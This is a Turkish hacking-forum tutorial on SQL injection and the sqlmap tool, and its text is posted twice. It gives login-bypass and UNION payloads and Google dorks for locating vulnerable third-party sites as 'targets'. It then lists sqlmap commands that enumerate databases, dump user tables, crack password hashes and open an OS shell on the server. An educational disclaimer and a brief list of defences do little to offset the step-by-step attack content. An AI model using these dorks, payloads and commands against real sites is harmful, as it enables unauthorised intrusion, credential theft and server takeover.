SQL Injection ve SQLMAP Kullanımı
Selam forum üyeleri! Bugün sizlere sızma testlerinin en baba konularından biri olan SQL Injection ve bu açığın ekmeğini yemek için en sağlam araçlardan biri olan SQLMAP hakkında detaylı bir rehber getirdim. Umarım işinize yarar. İyi forumlar, bol pwnlemeler!
Uyarı:Bu rehber tamamen bilgilendirme ve eğitim amaçlıdır. Amacımız, sistemlerin güvenliğini test etmek ve etik hacker prensipleri doğrultusunda bilgi edinmek. Sorumluluk size aittir.
SQL Injection, web uygulamalarının veritabanı sorgularını manipüle ederek yetkisiz erişim sağlamaya yarayan bir saldırı yöntemidir. Kısaca, bir web sitesinin veritabanıyla konuşma şeklini manipüle ederek bilgileri sızdırıyoruz.
Basit bir örnek:
' OR '1'='1
Bir giriş formuna yukarıdaki gibi bir giriş yaparsanız ve site düzgün filtreleme yapmıyorsa, sistem herkesi yetkili kullanıcı olarak algılayabilir.
Veritabanından kritik bilgileri çekmek
Kullanıcı adları ve şifre hash'lerini almak
Yetkisiz giriş yaparak admin paneline sızmak
Veritabanını tahrip etmek veya değiştirmek
Sunucuya komut çalıştırıp sistemin kontrolünü almak
Bir siteyi SQL Injection'a karşı test etmek için dork kullanabilirsiniz. Google, Bing veya diğer arama motorlarında SQLi zafiyeti olabilecek siteleri taramak için şu tarz dorklar yararlı olacaktır:
inurl:index.php?id=
inurl:news.php?id=
inurl:item.php?id=
inurl:gallery.php?id=
inurl:shop.php?category=
Bu dorkları kullanarak potansiyel hedefleri belirleyin. Daha sonra manuel testler yaparak açığın olup olmadığını doğrulayın:
http://hedefsite.com/index.php?id=1 --'
http://hedefsite.com/index.php?id=-1 UNION SELECT 1,2,3-- -
Eğer veritabanı hatası dönerse, bingo! Site muhtemelen SQL Injection'a karşı savunmasızdır.
SQLMAP, SQL Injection açıklarını tespit edip sömürmek için kullanılan en gelişmiş araçlardan biridir. Otomatik olarak veritabanını keşfeder, veri çeker, admin hesaplarını ele geçirir ve hatta sistem komutları bile çalıştırabilir.
Linux veya Windows için SQLMAP’i kuralım:
pip install sqlmap
Kali Linux kullanıyorsanız zaten hazır yüklü gelir.
Kurulumu doğrulamak için şu komutu girin:
sqlmap --help
Eğer yardım menüsü açılıyorsa kurulum başarılıdır.
sqlmap -u "http://hedefsite.com/index.php?id=1" --dbs
Bu komut, siteyi test eder ve var olan veritabanı isimlerini çıkarır.
sqlmap -u "http://hedefsite.com/index.php?id=1" --tables -D hedef_db
Bu komut, hedef_db veritabanındaki tüm tabloları listeler.
sqlmap -u "http://hedefsite.com/index.php?id=1" --dump -T users -D hedef_db
Bu komut, users tablosundaki tüm bilgileri çıkartır.
sqlmap -u "http://hedefsite.com/index.php?id=1" --dump -T users -D hedef_db --passwords --batch
Eğer şifreler hashli olarak gelirse, SQLMAP’in hash çözme özelliğiyle bazı zayıf hashleri kırabilirsiniz.
sqlmap -u "http://hedefsite.com/index.php?id=1" --os-shell
Eğer site komut çalıştırma izni veriyorsa, bu komut ile sunucuya sızabilir ve shell açabilirsiniz.
Eğer bir sistem yöneticisiyseniz veya web uygulamalarının güvenliğinden sorumluysanız, aşağıdaki önlemleri almanız şart:
Prepared Statements kullanın (SQL sorgularını parametreli hale getirin)
Web Application Firewall (WAF) ile SQL Injection saldırılarını engelleyin
Girdi doğrulaması yaparak zararlı karakterleri filtreleyin
Veritabanı hatalarını kullanıcıya göstermeyin
En az yetki prensibini uygulayarak kullanıcı yetkilerini minimumda tutun
Bu konuda SQL Injection’ın ne olduğunu, açıkları nasıl bulacağınızı, SQLMAP ile nasıl exploit yapacağınızı ve korunma yöntemlerini anlattım. Unutmayın, gerçek hacker bilgiyi kötüye kullanmaz, aksine sistemleri daha güvenli hale getirmek için çalışır!
Hadi bakalım, bol bol test yapın, kendinizi geliştirin ve her zaman etik olun!
İyi forumlar,umarım işinize yarar
Selam forum üyeleri! Bugün sizlere sızma testlerinin en baba konularından biri olan SQL Injection ve bu açığın ekmeğini yemek için en sağlam araçlardan biri olan SQLMAP hakkında detaylı bir rehber getirdim. Umarım işinize yarar. İyi forumlar, bol pwnlemeler!
Uyarı:Bu rehber tamamen bilgilendirme ve eğitim amaçlıdır. Amacımız, sistemlerin güvenliğini test etmek ve etik hacker prensipleri doğrultusunda bilgi edinmek. Sorumluluk size aittir.
SQL Injection (SQLi) Nedir?
SQL Injection, web uygulamalarının veritabanı sorgularını manipüle ederek yetkisiz erişim sağlamaya yarayan bir saldırı yöntemidir. Kısaca, bir web sitesinin veritabanıyla konuşma şeklini manipüle ederek bilgileri sızdırıyoruz.
Basit bir örnek:
' OR '1'='1
Bir giriş formuna yukarıdaki gibi bir giriş yaparsanız ve site düzgün filtreleme yapmıyorsa, sistem herkesi yetkili kullanıcı olarak algılayabilir.
SQLi ile Neler Yapılır?
SQL Açıklı Siteler Nasıl Bulunur?
Bir siteyi SQL Injection'a karşı test etmek için dork kullanabilirsiniz. Google, Bing veya diğer arama motorlarında SQLi zafiyeti olabilecek siteleri taramak için şu tarz dorklar yararlı olacaktır:
inurl:index.php?id=
inurl:news.php?id=
inurl:item.php?id=
inurl:gallery.php?id=
inurl:shop.php?category=
Bu dorkları kullanarak potansiyel hedefleri belirleyin. Daha sonra manuel testler yaparak açığın olup olmadığını doğrulayın:
http://hedefsite.com/index.php?id=1 --'
http://hedefsite.com/index.php?id=-1 UNION SELECT 1,2,3-- -
Eğer veritabanı hatası dönerse, bingo! Site muhtemelen SQL Injection'a karşı savunmasızdır.
SQLMAP Nedir ve Ne İşe Yarar?
SQLMAP, SQL Injection açıklarını tespit edip sömürmek için kullanılan en gelişmiş araçlardan biridir. Otomatik olarak veritabanını keşfeder, veri çeker, admin hesaplarını ele geçirir ve hatta sistem komutları bile çalıştırabilir.
SQLMAP Kurulumu
Linux veya Windows için SQLMAP’i kuralım:
pip install sqlmap
Kali Linux kullanıyorsanız zaten hazır yüklü gelir.
Kurulumu doğrulamak için şu komutu girin:
sqlmap --help
Eğer yardım menüsü açılıyorsa kurulum başarılıdır.
SQLMAP Kullanımı: Adım Adım
1. SQL Açığını Test Etme
sqlmap -u "http://hedefsite.com/index.php?id=1" --dbs
Bu komut, siteyi test eder ve var olan veritabanı isimlerini çıkarır.
2. Veritabanı İçeriğini Çıkarma
sqlmap -u "http://hedefsite.com/index.php?id=1" --tables -D hedef_db
Bu komut, hedef_db veritabanındaki tüm tabloları listeler.
3. Kullanıcı Bilgilerini Dump Etme
sqlmap -u "http://hedefsite.com/index.php?id=1" --dump -T users -D hedef_db
Bu komut, users tablosundaki tüm bilgileri çıkartır.
4. Admin Şifrelerini Kırma (Hash Cracking)
sqlmap -u "http://hedefsite.com/index.php?id=1" --dump -T users -D hedef_db --passwords --batch
Eğer şifreler hashli olarak gelirse, SQLMAP’in hash çözme özelliğiyle bazı zayıf hashleri kırabilirsiniz.
5. Shell (Komut Satırı) Açma
sqlmap -u "http://hedefsite.com/index.php?id=1" --os-shell
Eğer site komut çalıştırma izni veriyorsa, bu komut ile sunucuya sızabilir ve shell açabilirsiniz.
Güvenlik ve Korunma Yöntemleri
Eğer bir sistem yöneticisiyseniz veya web uygulamalarının güvenliğinden sorumluysanız, aşağıdaki önlemleri almanız şart:
Sonuç
Bu konuda SQL Injection’ın ne olduğunu, açıkları nasıl bulacağınızı, SQLMAP ile nasıl exploit yapacağınızı ve korunma yöntemlerini anlattım. Unutmayın, gerçek hacker bilgiyi kötüye kullanmaz, aksine sistemleri daha güvenli hale getirmek için çalışır!
Hadi bakalım, bol bol test yapın, kendinizi geliştirin ve her zaman etik olun!
İyi forumlar,umarım işinize yarar



